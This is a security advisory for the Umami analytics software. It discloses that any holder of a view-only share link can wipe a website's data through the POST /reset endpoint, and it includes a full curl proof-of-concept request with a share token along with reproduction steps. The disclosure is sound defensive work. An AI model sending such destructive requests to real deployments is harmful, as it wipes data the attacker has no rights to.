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[CRITICIAL] Anyone with a share link can RESET all website data

Critical
mikecao published GHSA-8www-cffh-4q98 Jul 27, 2023

Package

No package listed

Affected versions

< 2.3.0

Patched versions

2.3.1

Description

Summary

Anyone with a share link (permissions to view) can reset the website data.

Details

When a user navigates to a /share/ URL, he receives a share token which is used for authentication. This token is later verified by useAuth. After the token is verified, the user can call most of the GET APIs that allow fetching stats about a website.

The POST /reset endpoint is secured using canViewWebsite which is the incorrect verification for such destructive action. This makes it possible to completly reset all website data ONLY with view permissions - permalink

PoC

curl -X POST 'https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset' \
  -H 'authority: analytics.umami.is' \
  -H 'accept: application/json' \
  -H 'accept-language: en-US,en;q=0.9' \
  -H 'authorization: Bearer undefined' \
  -H 'cache-control: no-cache' \
  -H 'content-type: application/json' \
  -H 'pragma: no-cache' \
  -H 'referer: https://analytics.umami.is/share/bw6MFhkwpwEXFsbd/test' \
  -H 'sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"' \
  -H 'sec-ch-ua-mobile: ?0' \
  -H 'sec-ch-ua-platform: "Linux"' \
  -H 'sec-fetch-dest: empty' \
  -H 'sec-fetch-mode: cors' \
  -H 'sec-fetch-site: same-origin' \
  -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36' \
  -H 'x-umami-share-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3ZWJzaXRlSWQiOiJiODI1MDYxOC1jY2I1LTQ3ZmItODM1MC0zMWM5NjE2OWExOTgiLCJpYXQiOjE2OTAzNjkxOTl9.zTfwFrfggE5na7rOOgkUobEBm48AH_8WVyh2RgJGzcw' \
  --compressed

You can reproduce this by:

  • Accessing a website using it's share link
  • Copy the token received from the the received from the GET /share/{website-id}
  • Send a POST request to https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset with x-umami-share-token: header equal to the token copied in the previous step
  • The website data is now cleared

Impact

Everyone with an open share link exposed to the internet!

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H

CVE ID

No known CVE

Weaknesses

Credits